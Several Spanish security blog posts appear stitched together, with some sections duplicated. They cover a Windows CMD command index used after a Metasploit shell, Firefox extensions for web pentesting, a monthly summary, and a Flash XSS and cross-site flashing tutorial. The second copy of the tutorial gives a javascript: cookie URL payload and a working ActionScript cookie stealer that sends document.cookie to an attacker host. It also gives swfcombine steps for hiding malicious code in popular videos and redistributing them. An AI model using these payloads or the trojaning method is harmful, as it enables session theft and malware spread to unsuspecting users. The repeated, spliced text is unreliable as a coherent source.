Esta semana probé un exploit en SQL Server utilizando Metasploit que me dió el acceso a una shell remota en un servidor Windows. Entonces pensé: "buenísimo, ya estoy adentro del server! y ahora qué?"
Experimentado en el uso de la shell de Linux, me encontré sin saber que comandos de Windows probar en el server (algo más útil que "dir" o "ipconfig"). Buscando en internet, encontré este índice de la A la Z de comandos de la shell CMD de Windows en el sitio SS64.com (donde también se pueden encontrar listas de comandos de Powershell, BASH, etc.):
a
ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations•
ASSOCIAT One step file association
ATTRIB Change file attributes
b
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
c
CACLS Change file permissions
CALL Call one batch program from another•
CD Change Directory - move to a specific Folder•
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen•
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window•
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location•
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data
d
DATE Display or set the date•
DEFRAG Defragment hard drive
DEL Delete one or more files•
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders•
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSACLs Active Directory ACLs
DSAdd Add items to active directory (user group computer)
DSGet View items in active directory (user group computer)
DSQuery Search for items in active directory (user group computer)
DSMod Modify items in active directory (user group computer)
DSMove Move an Active directory Object
DSRM Remove items from Active Directory
e
ECHO Display message on screen•
ENDLOCAL End localisation of environment changes in a batch file•
ERASE Delete one or more files•
EVENTCREATE Add a message to the Windows event log
EXIT Quit the current script/routine and set an errorlevel•
EXPAND Uncompress files
EXTRACT Uncompress CAB files
f
FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files•
FOR /F Loop command: against the results of another command•
FOR Loop command: all options Files, Directory, List•
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations•
g
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line•
GPUPDATE Update Group Policy settings
h
HELP Online Help
i
iCACLS Change file and folder permissions
IF Conditionally perform a command•
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
k
KILL Remove a program from memory
l
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer
LOGOFF Log a user off
LOGTIME Log the date and time in a file
m
MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
MD Create new folders•
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another•
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files
n
NET Manage network resources
NETDOM Domain Manager
NETSH Configure Network Interfaces, Windows Firewall & Remote access
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
p
PATH Display or set a search path for executable files•
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message•
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD•
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt•
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory•
q
QGREP Search file(s) for lines that match a given pattern.
r
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file•
REN Rename a file or files•
REPLACE Replace or update one file with another
RD Delete folder(s)•
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
s
SC Service Control
SCHTASKS Schedule a command to run at a specific time
SCLIST Display NT Services
SET Display, set, or remove environment variables•
SETLOCAL Control the visibility of environment variables•
SETX Set environment variables permanently
SFC System File Checker
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file•
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window•
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
t
TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time•
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session•
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file•
u
USRSTAT List domain usernames and last login
v
VER Display version information•
VERIFY Verify that files have been saved•
VOL Display a disk label•
w
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands
x
XCACLS Change file and folder permissions
XCOPY Copy files and folders
:: Comment / Remark•
Los comandos marcados con • son comandos internos sólo disponibles dentro de la shell CMD. El resto de los comandos (no marcados con •) son comandos externos que pueden usarse dentro de la shell CMD, PowerShell, o directamente desde Inicio > Ejecutar.
Si hay una herramienta útil a la hora de buscar vulnerabilidades web, esa es Firefox y su montaña de extensiones. La verdad es que no necesito de nada más cuando quiero buscar problemas en una web.Existen decenas o quizás cientos de extensiones dedicadas a la seguridad, muchas con tremenda funcionalidad. Es por eso que se me ocurrió listar las extensiones que utilizo en mi trabajo diario, así ustedes también pueden aprovecharlas. Si tienen extensiones para recomendar, dejen sus comentarios!
Firebug
Firebug no está precisamente destinada a buscar vulnerabilidades (está destinada a desarrolladores web), pero es una de las herramientas que más utilizo. Esta nos permite ver el código de la página de forma ordenada y rápida (código desplegable). Incluye una función que nos permite hallar el código de cualquier parte de la página con un par de clicks.
Esta herramienta también nos permite ver fácilmente código JavaScript, estilos CSS, además de mostrarnos los errores arrojados por scripts que fallan.
Por otro lado, es posible modificar el código de la página y ver cómo se modifica en tiempo real. Realmente un lujo.
Tamper Data
Otro que uso constantemente. Tamper Data nos permite capturar los parámetros HTTP que se envían desde el browser al servidor y modificarlos antes de ser entregados. De esta forma podemos cambiar cosas como User Agent, Cookies, parámeotros post, Referer, etc, antes de que el browser los envíe al servidor.
Gracias a esto podemos ver distintas reacciones de la página a distintos parámetros.
Hackbar
Esta extensión nos proporciona una barra adicional muy útil a la hora de hacer pruebas. En esta barra contamos con herramientas como generadores de código SQL utilizado en pruebas de hacking, generador de texto codificado con String.fromCharCode, codificador HTML, funciones de hashing como MD5, SHA1, codificadores/decodificadores de base64, URL, Hexa, y algunas cosas más.
Es muy útil porque nos ahorra tiempo de escritura y de búsqueda (muchas veces no me acuerdo como es la sintaxis de una dada función, o cómo se codifica una /).
Groundspeed
Utilísima extensión para realizar inyecciones. Groundspeed permite al usuario ver todos los campos de los formularios presentes en la página, mostrando incluso los hidden, e ingresar cualquier parámetro que desee. Gracias a esto podemos eliminar restricciones de largo de los input, o controles JavaScript, osea, eliminar las limitaciones impuestas por la interfaz presentadas al usuario.
Si bien con esos cuatro suele alcanzarme para todo, también tengo instalados otros bastante interesantes y útiles. Estos son:
Live HTTP Headers
Nos permite ver en tiempo real los headers HTTP que se envían y reciben desde los servidores. Es posible aplicar filtros sobre lo que deseamos visualizar y reenviar pedidos.
No lo utilizo demasiado porque Tamper Data puede hacer esto y más.
SQL Inject Me
Como se imaginarán por el nombre, SQL Inject Me nos permite automatizar las pruebas de SQL Injection sobre una página. Con esta extensión seleccionamos los campos del formulario sobre el que queremos hacer pruebas y el programa envia cientos de combinaciones de inyección posibles. Luego nos devuelve una página mostrando con qué combinaciones se tuvo éxito, cuales arrojaron errores y cuales no sirvieron.
Es muy útil para hacer pruebas rápidas, pero como siempre digo, los test SQL Injection y XSS son casi un arte, las herramientas automatizadas no suelen arrojarme buenos resultados.
XSS Me
El equivalente de SQL Inject Me, pero para hacer pruebas de XSS. Al igual que SQL Inject Me nos permite seleccionar formularios y enviar distintos test para luego arrojarnos una página con información sobre lo encontrado.
Existe un proyecto interesante denominado FireCAT (Firefox Catalog of Auditing exTension) que se encarga de armar un mapa mental con las extensiones conocidas para realizar auditorías de seguridad. La gente de este proyecto provee un gráfico (pdf) con los nombres de las extensiones y su relación con los aspectos de seguridad.
Help Net Security publicó hace un tiempo su top 5 de extensiones de firefox dedicadas a la seguridad, ahí fue que conocí Groundspeed. Si quieren pueden hecharle un vistazo a la lista, aunque no mencionan ninguno que no haya sugerido en este post =)
Arrancamos un nuevo mes así que toca hacer un nuevo resumen mensual con lo más leído. Durante febrero estuve de vacaciones así que se redujo un poco la cantidad de artículos, pero igualmente creo que logré armar un par de artículos importantes. Además, gracias a que ahora incorporé a emilio como bloggero, espero que la cantidad de artículos se incremente.
En febrero parece que todos estuvieron ocupados o de vacaciones, porque se redujo un poco la cantidad de visitas. Espero que este mes remonte bastante =)
El top del mes se lo llevan los artículos de XSS, tema al cual le estuve dedicando bastante tiempo en los últimos meses.
A continuación les dejo el clásico top 5:
1. Rompiendo a lo grande: XSS avanzado. El tema XSS está más presente que nunca, aparece por todos lados, no hay página que revise que no tengo algún problema de este estilo. En este artículo se muestran algunos ataques avanzados que se pueden realizar utilizando XSS.
2. Cruzando información, Cross-Site Scripting (XSS). Qué puedo decir que no haya dicho en otros post, sin dudas el XSS es un tema que atrae y si todavía no sabes cómo funciona, o cómo se utiliza, éste artículo te lo explica.
3. Crear máquina virtual en CentOS usando Xen. Más que clásico entre los más leídos del blog. Espero que este artículo sobre la creación de máquinas virtuales usando Xen y CentOS los ayude a encontrar la mejor forma de virtualizar.
4. Cómo crear un corrector ortográfico. La gran sorpresa del blog, parece que la programación de correctores ortográficos es bastante intrigante y espero que el artículo les resulte interesante.
5. Server TFTP + Actualización IOS. No hay demasiada información en internet (al menos en español) sobre cómo realizar backups o actualizar IOS de sistemas Cisco, así que me alegra ser una fuente de consulta.
En febrero parece que todos estuvieron ocupados o de vacaciones, porque se redujo un poco la cantidad de visitas. Espero que este mes remonte bastante =)
El top del mes se lo llevan los artículos de XSS, tema al cual le estuve dedicando bastante tiempo en los últimos meses.
A continuación les dejo el clásico top 5:
1. Rompiendo a lo grande: XSS avanzado. El tema XSS está más presente que nunca, aparece por todos lados, no hay página que revise que no tengo algún problema de este estilo. En este artículo se muestran algunos ataques avanzados que se pueden realizar utilizando XSS.
2. Cruzando información, Cross-Site Scripting (XSS). Qué puedo decir que no haya dicho en otros post, sin dudas el XSS es un tema que atrae y si todavía no sabes cómo funciona, o cómo se utiliza, éste artículo te lo explica.
3. Crear máquina virtual en CentOS usando Xen. Más que clásico entre los más leídos del blog. Espero que este artículo sobre la creación de máquinas virtuales usando Xen y CentOS los ayude a encontrar la mejor forma de virtualizar.
4. Cómo crear un corrector ortográfico. La gran sorpresa del blog, parece que la programación de correctores ortográficos es bastante intrigante y espero que el artículo les resulte interesante.
5. Server TFTP + Actualización IOS. No hay demasiada información en internet (al menos en español) sobre cómo realizar backups o actualizar IOS de sistemas Cisco, así que me alegra ser una fuente de consulta.
Muchos vemos las aplicaciones en flash como una caja negra, no conozco muchos programadores que se dediquen a la creación de aplicaciones en flash, generalmente son diseñadores gráficos los que se dedican a esta tarea, al menos en lo que yo he visto. La realidad es que una aplicación hecha en flash es como cualquier otra, puede tener parámetros de entrada y de salida, y si esos parámetros no se validan, se pueden hacer cosas realmente graves.
El mayor problema con flash es la falsa seguridad que genera en los desarrolladores. Como el código no es visible directamente, parece como que nadie pudiera verlo, pero no es así. Las aplicaciones flash se ejecutan en el cliente por un intérprete de bytecodes, tal como lo hacen los aplets de java. Esto quiere decir que el cliente tiene en su poder el programa, y los bytecodes pueden ser decodificados fácilmente utilizando varias herramientas. El código obtenido es el llamado Action Script. Action Script se utiliza para añadirle interacción a las animaciones de flash, y es donde aparecen los parámetros ingresados por el usuario.
Entre las herramientas que probé, para decodificar bytecodes de flash elegí flare, la cual es gratis, pero no del todo libre. El uso de flare es muy simple, ejecutamos el comando flare y pasamos como parámetro el swf que queremos decompilar. El output es un archivo llamado igual, pero con extensión flr, el cual es el código Action Script en texto plano.
Y qué buscamos al decompilar un archivo flash? lo mismo que cuando queremos inyectar código en cualquier otro lenguaje: el uso variables ingresadas por el usuario sin validar. Como siempre, dependiendo el lugar donde se usen estas variables, podremos realizar distintos tipos de ataques XSS.
Si bien no es el motivo de este post, la decompilación de flash muchas veces nos puede servir también para encontrar credenciales hardcodeadas en el swf. Parece increíble, pero se hace bastante, y se debe a lo que menciono párrafos arriba, la falsa seguridad de no tener el código accesible a simple vista. Además de credenciales, inspeccionar el código nos permite acceder otra información valiosa, como lo demuestra Zerial en su artículo Asaltando un sitio de series online.
Para encontrar las variables que el usuario puede enviar a una aplicación de forma rápida, podemos inspeccionar el HTML de la página que embebe el flash. Cuando embebemos un swf en nuestra página utilizamos los tags <object>, <param> y <embed>. con <object> indicamos especificaciones de lo que vamos a embeber como alto, ancho, id, versión de flash, etc. Con <embed> especificamos la ubicación del archivo y también podemos especificar parámetros (posible inyección). Por último, <param> nos sirve para enviar parámetros a la aplicación (posible inyección).
La forma en que el usuario puede enviar parámetros a la aplicación es usando los FlashVars, o bien especificando las variables en la URI con la que embebemos la aplicación. Algunos ejemplos son:
Flash incluso permite cargar las variables desde otra URL utilizando el objeto LoadVar:
Volviendo al caso de variables globales sin inicializar, si tenemos por ejemplo el siguiente código:
Existen varias funciones proporcionadas por flash que resultan interesantes para realizar ataques XSS. El artículo de testeo XSF de OWASP lista las siguientes (disponibles desde la versión r47):
Un ejemplo que he visto en algunos banners, es el siguiente:
Esto permite al diseñador usar el mismo código para hacer distintas propagandas; sólo cambiando el link, el banner apunta a otro site... pero por favor! esto es horrible! Pueden ver algunos ejemplos en el artículo Jugando con vulnerabilidades antiguas en sitios web de la comunidad Hack-IT.
Como atacante yo podría armar la url: http://www.ejemplo.com/banner.swf?link=javascript%3Aalert(document.cookie) la cual me muestra un alert con la cookie del usuario (podría robar la cookie enviándola a un site que yo poseo), y, a través de ingeniería social, hacer que el usuario clickee el banner. Si señores, tenemos un caso de XSS usando flash.
Cuándo aparece Cross-Site Flashing (XSF)?
Cross-site Flashing se llama al ataque donde importamos un archivo flash swf malicioso a través de un flash vulnerable.
Una función clásica para realizar este ataque es loadMovie(), la cual nos permite importar otros archivos swf.
Hay que tener en cuenta que las aplicaciones flash pueden ejecutar JavaScript cuando están embebidas en un browser, hacer peticiones HTTP, ejecutar películas externas, reproducir archivos de audio/video, y mostrar un conjunto reducido de código HTML dentro de un TextField.
Entonces, cuál es la idea? la idea es encontrar una aplicación flash que nos permita cargar un swf creado por nosotros, y que contenga código malicioso, como por ejemplo, un cookie stealer.
XSF reglas a tener en cuenta
Versiones modernas de flash poseen una política por defecto que permite a una aplicación flash cargar otro flash, solamente si se encuentra en el mismo subdominio. Osea, un flash que se encuentre en ejemplo.com solo podrá cargar otros flashes que estén en ejemplo.com. Cada aplicación se encuentra contenida en una caja de arena (sandbox), y todo swf externo importado tendrá acceso al sandbox y podrá ver/modificar las variables/objetos/clases.
Lo bueno (o lo malo) es que existe es posible cambiar este comportamiento por defecto, y permitir a un swf cargar otros swfs que se encuentren en otros dominios. Esto se hace utilizando la función AllowDomain, el archivo crossdomain.xml y el atributo AllowScriptAccess.
La función se utiliza dentro del código de la aplicación usando System.Security.allowDomain("otrosite.com").
El archivo crossdomain.xml debe colocarse dentro del directorio raíz del servidor y a partir del atributo allow-access-from, se puede especificar desde que otros sites se pueden importar swf:
Creando nuestros propios Flashs
Para crear swfs se puede utilizar la herramienta MTASC. Para ello primero hay que crear un archivo con el código Action Script (evil.as), y luego lo compilamos usando:
El código de evil.as podría ser algo como:
El paso final
Para terminar el ataque, tenemos que encontrar swfs que permitan cargar otros swf y tengan habilitada la política para permitir cualquier dominio como fuente.
La búsqueda de swf vulnerables se puede hacer fácilmente en google, con el término de búsqueda filetype:swf. Existen muchas aplicaciones flash utilizadas por múltiples sites que son famosas por ser vulnerables, una era la tag cloud. Esto facilita aún más la búsqueda, solo hace falta estar atento a los avisos sobre aplicaciones vulnerables, buscar los términos necesarios en google y explotarlas.
Backdoors
Un ataque interesante es incrustrar código malicioso en aplicaciones ya existentes y redistribuirlas. Por ejemplo, podríamos tener un video que llame mucho la atención, lo descargamos, le incrustramos nuestro código y lo redistribuimos. Dado que es un video famoso, muchos querrán verlo y al hacerlo, ejecutarán nuestro código...
Para incrustrar código en aplicaciones ya existentes, podemos usar las herramientas swfdump y swfcombine, provistas por el conjunto SWFTools. SWFTools suele estar disponible en la mayoría de las distribuciones, así que no es difícil de instalar.
A partir del video original video.swf necesitamos obtener atributos como ancho, alto y taza. Estos valores los necesitamos para poder combinar nuestro evil.swf en el video. Para esto usamos la herramienta swfdump de la siguiente forma:
que nos puede dar algo como -X 200 -Y 100 -r 20.00
Ahora usamos esos valores para compilar nuestro código malicioso de la siguiente manera:
Conclusiones
Las aplicaciones en flash representan un gran riesgo. El mayor problema es que, en general, son desarrolladas por gente sin conocimientos de seguridad, incluso muchas veces sin conocimientos de programación!
Explotar vulnerabilidades en flash es muy simple, muchas veces basta con mirar los parámetros, y otras en revisar un poco el código Action Script. Herramientas como flare, mtasc o SWFTools facilitan la tarea.
Mi recomendación es NO usar flash. Y por qué tan tajante? bueno, para empezar flash tiene una larga historia de exploits, la gente de adobe no viene haciendo bien las cosas (igual que con su adobe reader). Por otro lado, flash suele ser un dolor de cabeza para los browsers, llegando a crashearlos cada cierto tiempo. Además, muchas veces se utilizan pesadas aplicaciones en flash para realizar trabajos que se pueden cubrir con gifs y un poco de JavaScript. Por último, lo que vimos en este artículo habla por si solo, existen muchas formas de utilizar estas aplicaciones de forma maliciosa.
Si bien no quise extender más el artículo, existen otras formas de realizar ataques, como usando la función asfunction e incrustrando HTML dentro del flash (algo mencioné, pero no mostré cómo). Para leer un poco más, vean las referencias, donde hay buen material.
Referencias
- Testing for Cross site Flashing OWASP.
- A Lazy Pen Tester’s Guide to Testing Flash Applications.
- XSS Vulnerabilities in Common Shockwave Flash Files.
- Testing Flash Applications - 6th OWASP AppSec Conference May 2007 (Stefano Di Paola).
- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie).
El mayor problema con flash es la falsa seguridad que genera en los desarrolladores. Como el código no es visible directamente, parece como que nadie pudiera verlo, pero no es así. Las aplicaciones flash se ejecutan en el cliente por un intérprete de bytecodes, tal como lo hacen los aplets de java. Esto quiere decir que el cliente tiene en su poder el programa, y los bytecodes pueden ser decodificados fácilmente utilizando varias herramientas. El código obtenido es el llamado Action Script. Action Script se utiliza para añadirle interacción a las animaciones de flash, y es donde aparecen los parámetros ingresados por el usuario.
Entre las herramientas que probé, para decodificar bytecodes de flash elegí flare, la cual es gratis, pero no del todo libre. El uso de flare es muy simple, ejecutamos el comando flare y pasamos como parámetro el swf que queremos decompilar. El output es un archivo llamado igual, pero con extensión flr, el cual es el código Action Script en texto plano.
Y qué buscamos al decompilar un archivo flash? lo mismo que cuando queremos inyectar código en cualquier otro lenguaje: el uso variables ingresadas por el usuario sin validar. Como siempre, dependiendo el lugar donde se usen estas variables, podremos realizar distintos tipos de ataques XSS.
Si bien no es el motivo de este post, la decompilación de flash muchas veces nos puede servir también para encontrar credenciales hardcodeadas en el swf. Parece increíble, pero se hace bastante, y se debe a lo que menciono párrafos arriba, la falsa seguridad de no tener el código accesible a simple vista. Además de credenciales, inspeccionar el código nos permite acceder otra información valiosa, como lo demuestra Zerial en su artículo Asaltando un sitio de series online.
Para encontrar las variables que el usuario puede enviar a una aplicación de forma rápida, podemos inspeccionar el HTML de la página que embebe el flash. Cuando embebemos un swf en nuestra página utilizamos los tags <object>, <param> y <embed>. con <object> indicamos especificaciones de lo que vamos a embeber como alto, ancho, id, versión de flash, etc. Con <embed> especificamos la ubicación del archivo y también podemos especificar parámetros (posible inyección). Por último, <param> nos sirve para enviar parámetros a la aplicación (posible inyección).
La forma en que el usuario puede enviar parámetros a la aplicación es usando los FlashVars, o bien especificando las variables en la URI con la que embebemos la aplicación. Algunos ejemplos son:
- <param name="FlashVars" value="var1=val1&var2=val2">El tercer ejemplo usa un iframe, pero en realidad podemos hacer la llamada ingresando la URI en la barra de direcciones del navegador.
- <embed src="miflash.swf" width="550" height="400" flashvars="var1=val1&var2=val2"></embed>
- <iframe src="http://www.ejemplo.com/miflash.swf?var1=val1&var2=val2">
Flash incluso permite cargar las variables desde otra URL utilizando el objeto LoadVar:
var vars= new LoadVar();Dos cosas a tener en cuenta sobre las variables en Action Script v2 son que los parámetros enviados por el usuario (FlashVars) se pueden acceder a través de las variables globales, y que todas las variables globales que se usan sin previa inicialización se asumen como ingresadas por el usuario a través de parámetros. Esto que es muy feo (idéntico al caso de register_globals en php), nos permite explotar toda variable que el usuario olvidó inicializar. Las variables globales se acceden anteponiendoles _root, _global o _level0.
vars.load('http://www.ejemplo.com/');
Volviendo al caso de variables globales sin inicializar, si tenemos por ejemplo el siguiente código:
getURL(_root.miarchivo, _blank)y _root.miarchivo no se inicializó antes de ejecutar la sentencia, un atacante podría utilizar este hecho para abrir una URL arbitraria haciendo http://www.ejemplo.com?miarchivo=http://www.malomalo.com/maligno.xml
Existen varias funciones proporcionadas por flash que resultan interesantes para realizar ataques XSS. El artículo de testeo XSF de OWASP lista las siguientes (disponibles desde la versión r47):
loadVariables()De éstas, con la que más me he encontrado es getURL(). getURL hace lo que se imaginan, abre la url que le pasamos por parámetro. getURL toma 1 parámetro obligatorio, la URL, y 2 opcionales. El primero de los opcionales indica si deseamos abrir la url en el frame actual (_self), en una nueva ventana (_blank), en un frame padre (_parent), o en el frame padre de todos (_top). El último parámetro indica si deseamos enviar las variables por GET o por POST. Pueden leer la especificación de la función en la misma página de adobe.
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText
Un ejemplo que he visto en algunos banners, es el siguiente:
button 3 {
on (release) {
getURL(_root.link, _blank);
}
}
}
Oh my!, ya ven lo que yo veo? aquí se usa la variable global "link", la cual ingresa el usuario como parámetro. El tag que embebe estos banners se ve como:<embed width="100" height="50" quality="high" src="http://www.ejemplo.com/banner.swf?link=http%3A%2F%2Fwww.propaganda.com%2F"></embed>donde se ve que el link se pasa como parámetro, codificado usando URL encoding. Si el usuario hace click sobre el banner, se abre la URL del parámetro.
Esto permite al diseñador usar el mismo código para hacer distintas propagandas; sólo cambiando el link, el banner apunta a otro site... pero por favor! esto es horrible! Pueden ver algunos ejemplos en el artículo Jugando con vulnerabilidades antiguas en sitios web de la comunidad Hack-IT.
Como atacante yo podría armar la url: http://www.ejemplo.com/banner.swf?link=javascript%3Aalert(document.cookie) la cual me muestra un alert con la cookie del usuario (podría robar la cookie enviándola a un site que yo poseo), y, a través de ingeniería social, hacer que el usuario clickee el banner. Si señores, tenemos un caso de XSS usando flash.
Cuándo aparece Cross-Site Flashing (XSF)?
Cross-site Flashing se llama al ataque donde importamos un archivo flash swf malicioso a través de un flash vulnerable.
Una función clásica para realizar este ataque es loadMovie(), la cual nos permite importar otros archivos swf.
Hay que tener en cuenta que las aplicaciones flash pueden ejecutar JavaScript cuando están embebidas en un browser, hacer peticiones HTTP, ejecutar películas externas, reproducir archivos de audio/video, y mostrar un conjunto reducido de código HTML dentro de un TextField.
Entonces, cuál es la idea? la idea es encontrar una aplicación flash que nos permita cargar un swf creado por nosotros, y que contenga código malicioso, como por ejemplo, un cookie stealer.
XSF reglas a tener en cuenta
Versiones modernas de flash poseen una política por defecto que permite a una aplicación flash cargar otro flash, solamente si se encuentra en el mismo subdominio. Osea, un flash que se encuentre en ejemplo.com solo podrá cargar otros flashes que estén en ejemplo.com. Cada aplicación se encuentra contenida en una caja de arena (sandbox), y todo swf externo importado tendrá acceso al sandbox y podrá ver/modificar las variables/objetos/clases.
Lo bueno (o lo malo) es que existe es posible cambiar este comportamiento por defecto, y permitir a un swf cargar otros swfs que se encuentren en otros dominios. Esto se hace utilizando la función AllowDomain, el archivo crossdomain.xml y el atributo AllowScriptAccess.
La función se utiliza dentro del código de la aplicación usando System.Security.allowDomain("otrosite.com").
El archivo crossdomain.xml debe colocarse dentro del directorio raíz del servidor y a partir del atributo allow-access-from, se puede especificar desde que otros sites se pueden importar swf:
<?xml version="1.0"?>Por último, el atributo AllowScriptAccess se utiliza en el tag que embebe la aplicación flash y los valores posibles son always (improtar desde cualquier lado), never (nunca importar nada), samedomain (solo importar desde el mismo dominio). El valor default es SameDomain. Un ejemplo de su uso es:
<cross-domain-policy>
<allow-access-from domain="www.company.com">
</cross-domain-policy>
<embed allowscriptaccess="always" src="ejemplo.swf" type="application/x-shockwave-flash" width="200" height="150"></embed>
Creando nuestros propios Flashs
Para crear swfs se puede utilizar la herramienta MTASC. Para ello primero hay que crear un archivo con el código Action Script (evil.as), y luego lo compilamos usando:
mtasc -swf evil.swf -main -header 1:1:1 evil.asDonde la opción -swf indica un path a un archivo swf existente y le inserta el código. Si no existe, se crea y toma el valor de la opción -header para saber ancho:alto:fps. Por su parte -main especifica que se llame al método estático main cuando se cargue el objeto.
El código de evil.as podría ser algo como:
class eviles decir, un cookie stealer hecho en flash!
{
function evil()
{
}
static function main(mc)
{
getURL("javascript:document.location=\"http://www.malomalo.com?cookie=\"+document.cookie");
}
}
El paso final
Para terminar el ataque, tenemos que encontrar swfs que permitan cargar otros swf y tengan habilitada la política para permitir cualquier dominio como fuente.
La búsqueda de swf vulnerables se puede hacer fácilmente en google, con el término de búsqueda filetype:swf. Existen muchas aplicaciones flash utilizadas por múltiples sites que son famosas por ser vulnerables, una era la tag cloud. Esto facilita aún más la búsqueda, solo hace falta estar atento a los avisos sobre aplicaciones vulnerables, buscar los términos necesarios en google y explotarlas.
Backdoors
Un ataque interesante es incrustrar código malicioso en aplicaciones ya existentes y redistribuirlas. Por ejemplo, podríamos tener un video que llame mucho la atención, lo descargamos, le incrustramos nuestro código y lo redistribuimos. Dado que es un video famoso, muchos querrán verlo y al hacerlo, ejecutarán nuestro código...
Para incrustrar código en aplicaciones ya existentes, podemos usar las herramientas swfdump y swfcombine, provistas por el conjunto SWFTools. SWFTools suele estar disponible en la mayoría de las distribuciones, así que no es difícil de instalar.
A partir del video original video.swf necesitamos obtener atributos como ancho, alto y taza. Estos valores los necesitamos para poder combinar nuestro evil.swf en el video. Para esto usamos la herramienta swfdump de la siguiente forma:
swfdump --width --height --rate video.swf
que nos puede dar algo como -X 200 -Y 100 -r 20.00
Ahora usamos esos valores para compilar nuestro código malicioso de la siguiente manera:
mtasc -swf evil.swf -main -header 200:100:20 evil.asUna vez que tenemos nuestro código adaptado, solo resta combinarlo con el video original usando swfcombine:
swfcombine -o evil_movie.swf -T evil.swf video.swfCon esto conseguimos evil_movie.swf que es el video con el código malicioso incrustrado... fácil no?
Conclusiones
Las aplicaciones en flash representan un gran riesgo. El mayor problema es que, en general, son desarrolladas por gente sin conocimientos de seguridad, incluso muchas veces sin conocimientos de programación!
Explotar vulnerabilidades en flash es muy simple, muchas veces basta con mirar los parámetros, y otras en revisar un poco el código Action Script. Herramientas como flare, mtasc o SWFTools facilitan la tarea.
Mi recomendación es NO usar flash. Y por qué tan tajante? bueno, para empezar flash tiene una larga historia de exploits, la gente de adobe no viene haciendo bien las cosas (igual que con su adobe reader). Por otro lado, flash suele ser un dolor de cabeza para los browsers, llegando a crashearlos cada cierto tiempo. Además, muchas veces se utilizan pesadas aplicaciones en flash para realizar trabajos que se pueden cubrir con gifs y un poco de JavaScript. Por último, lo que vimos en este artículo habla por si solo, existen muchas formas de utilizar estas aplicaciones de forma maliciosa.
